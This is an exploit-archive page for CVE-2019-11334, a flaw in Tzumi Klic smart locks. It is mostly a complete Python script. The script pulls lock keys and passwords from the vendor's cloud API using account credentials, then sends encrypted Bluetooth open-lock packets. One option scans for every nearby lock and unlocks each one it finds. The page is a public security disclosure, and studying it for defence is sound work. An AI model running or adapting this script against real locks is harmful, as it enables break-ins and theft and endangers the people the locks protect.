exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Tzumi Electronics Klic Lock Authentication Bypass

Tzumi Electronics Klic Lock Authentication Bypass
Posted Jun 14, 2019
Authored by Kerry Enfinger

Tzumi Electronics Klic Lock version 1.0.9 allows for attackers to access resources via capture-replay.

tags | exploit
advisories | CVE-2019-11334
SHA-256 | b6478676c8a8574cbdf280e94c872874e68933b7e95cca2138fa97fe2ee1d83d

Tzumi Electronics Klic Lock Authentication Bypass

Change Mirror Download
# CVE-2019-11334
# MIT License
# Copyright (c) 2019 Kerry Enfinger
# Python program to unlock any Tzumi Klic smart locks Model 5686 Firmware 6.2
# May work on other smart locks
# Requires valid account email and password from Klic mobile application

import argparse
import requests
import json
from subprocess import call
from bluepy.btle import Scanner
from bluepy.btle import Peripheral
from bluepy.btle import DefaultDelegate
from bluepy.btle import UUID
from Crypto.Cipher import AES

NOTIFICATION = ""

class KlicDelegate(DefaultDelegate):

def __init__(self, key):
DefaultDelegate.__init__(self)
self.aes_key = key

def decrypt(self, payload):
aes = AES.new(self.aes_key, AES.MODE_ECB)
decrypted = aes.decrypt(payload)
return decrypted.encode('hex')

def handleNotification(self, handle, data):
global NOTIFICATION
NOTIFICATION = self.decrypt(data)

class Klic:

def __init__(self):
self.lockKey=""
self.mac = ""
self.lockPwd = "000000"
self.aes_key = ""
self.token = ""
self.userId = ""
self.url = "http://app.nokelock.com:8080/"
self.ext_get_token = "/newNokelock/user/loginByPassword"
self.ext_get_lock_list = "/newNokelock/lock/getLockList"
self.ext_query_device = "/newNokelock/lock/queryDevice"
self.headers = {'token': 'None', 'clientType': 'Android', 'language': 'en-US', 'phoneModel': 'Nexus 5', 'osVersion': '7.1.2', 'appVersion': '1.0.9', 'Content-Type': 'application/json;charset=UTF-8', 'User-Agent': 'okhttp/3.11.0'}


def set_aes_key(self, lockKey):
hexkey = [lockKey[i:i+2] for i in range(0, len(lockKey), 2)]
hexkey = [int(i) for i in hexkey]
hexkey = ["{:02x}".format(x) for x in hexkey]
hexkey = ''.join(hexkey)
self.aes_key = str(bytearray.fromhex(hexkey))

def parse_lock_key(self, lock_key):
temp_key = lock_key.encode("utf-8")
temp_key = [x.strip() for x in temp_key.split(',')]
new_key = ""
for i in temp_key:
new_key = new_key + i.zfill(2)
return new_key

def get_token(self, account_str, password_str):
data = {'account': account_str, 'code': password_str, 'type': '0'}
response = requests.post(self.url + self.ext_get_token, data=json.dumps(data), headers=self.headers)
json_resp = response.json()
result = json_resp['result']
return result['token'], result['userId']

def get_lock_keys(self, account_str, password_str):
self.token, self.userId = self.get_token(account_str, password_str)
data = {'userId': self.userId}
self.headers['token'] = self.token
response = requests.post(self.url + self.ext_get_lock_list, data=json.dumps(data), headers=self.headers)
json_resp = response.json()
result = json_resp['result']
lock_key = result[0]['lockKey']
self.lockKey = self.parse_lock_key(lock_key)
self.lockPwd = result[0]['lockPwd']
self.mac = result[0]['mac']

def get_lock_keys_by_mac(self, account_str, password_str, mac_addr):
self.token, self.userId = self.get_token(account_str, password_str)
data = {'mac': mac_addr}
self.headers['token'] = self.token
response = requests.post(self.url + self.ext_query_device, data=json.dumps(data), headers=self.headers)
json_resp = response.json()
result = json_resp['result']
lock_key = result['lockKey']
self.lockKey = self.parse_lock_key(lock_key)
self.lockPwd = result['lockPwd']
self.mac = result['mac']
print(self.lockKey)
print(self.lockPwd)
print(self.mac)

def scan(self, timeout=5):
scanner = Scanner()
sec = timeout
dev_list = []
print("Scanning for %s seconds" % sec)
devs = scanner.scan(sec)
for dev in devs:
localname = dev.getValueText(9)
if localname and localname.startswith("BS01"):
print("Device found:")
dev_list.append(dev.addr)
print(" %s (%s), rssi=%d" % (dev.addr, localname, dev.rssi))
return dev_list

def encrypt(self, payload):
while len(payload) < 16:
payload += "\x00"
aes = AES.new(self.aes_key, AES.MODE_ECB)
return aes.encrypt(payload)

def unlock_with_key(self, lock_key, mac_addr):
self.lockKey = lock_key
self.mac = mac_addr
self.unlockKlic()

def unlock_with_account(self, account, password):
self.get_lock_keys(account, password)
self.unlockKlic()

def unlock_with_mac(self, account, password, mac):
self.get_lock_keys_by_mac(account, password, mac)
self.unlockKlic()

def unlockKlic(self):
print("lockKey: " + self.lockKey)
print("lockPwd: " + self.lockPwd)
print("mac: " + self.mac)
print("")

# Convert lockKey to hex
self.set_aes_key(self.lockKey)

# Connect to klic lock
klic = Peripheral(self.mac, "public")
klic.setDelegate(KlicDelegate(self.aes_key))

# Setup to turn notifications on
setup_data = b"\x01\x00"
notify = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0]
notify_handle = notify.getHandle() + 1
klic.writeCharacteristic(notify_handle, setup_data, withResponse=True)

# Send get token packet
c = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0]
payload = self.encrypt("\x06\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
c.write(payload)
print("Sent get token packet!")
# Waiting for notification
while True:
if klic.waitForNotifications(1.0):
# handleNotification() was called
print("Got Notification: " + NOTIFICATION)
hexkey = [NOTIFICATION[i:i+2] for i in range(0, len(NOTIFICATION), 2)]
if hexkey[0] == '06' and hexkey[1] == '02':
break
continue
print("")

# Send get battery packet
c = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0]
payload = self.encrypt("\x02\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
c.write(payload)
print("Sent get battery packet!")
# Waiting for notification
while True:
if klic.waitForNotifications(1.0):
# handleNotification() was called
print("Got Notification: " + NOTIFICATION)
hexkey = [NOTIFICATION[i:i+2] for i in range(0, len(NOTIFICATION), 2)]
if hexkey[0] == '02' and hexkey[1] == '02':
break
continue
print("")

# Send open lock packet
c = klic.getCharacteristics( uuid='000036f5-0000-1000-8000-00805f9b34fb' )[0]
payload = self.encrypt("\x05\x01\x06\x30\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00")
c.write(payload)
print("Sent open lock packet!")
while True:
if klic.waitForNotifications(1.0):
# handleNotification() was called
print("Got Notification: " + NOTIFICATION + "\n")
break
print("Lock should be unlocked!\n\n")

if __name__ == "__main__":
print('[*] KlicUnlock v1.0.0')
print('[*] Author: Kerry Enfinger\n')
print('[*] CVE-2019-11334\n')

parser = argparse.ArgumentParser(description='Klic Lock unlocking program.')
parser.add_argument('-a', '--account', help='email address used when signing into app', type=str)
parser.add_argument('-p', '--password', help='password used when signing into app', type=str)
parser.add_argument('-k', '--key', help='key for lock (if known)', type=str)
parser.add_argument('-m', '--mac', help='mac address for lock (if known)', type=str)
parser.add_argument('-s', '--scan', help='scan for all nearby Klic locks', action='store_true')
parser.add_argument('-u', '--unlock_all', help='scan for and unlock all nearby Klic locks', action='store_true')
args = parser.parse_args()

# Bring up bluetooth adapter and service - hci# may need to be changed for your individual needs
call(["hciconfig", "hci0", "up"])
call(["service", "bluetooth", "start"])

if args.account and args.password and args.unlock_all is False:
k = Klic()
k.unlock_with_account(args.account, args.password)
elif args.account and args.password and args.unlock_all is True:
k = Klic()
lock_list = k.scan()
for lock in lock_list:
print(args.account)
print(args.password)
print(lock.upper())
k.unlock_with_mac(args.account, args.password, lock.upper())
elif args.key and args.mac:
k = Klic()
k.unlock_with_key(args.key, args.mac)
elif args.scan:
k = Klic()
k.scan()
else:
print('You need to input account/password or key/mac combination')
print('[*] Examples:')
print('[*] python KlicUnlock.py -a myaccount@example.com -p mypassword')
print('[*] python KlicUnlock.py -a myaccount@example.com -p mypassword -u')
print('[*] python KlicUnlock.py -k 99999999999999999999999999999999 -m 01:02:03:04:05:06')


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close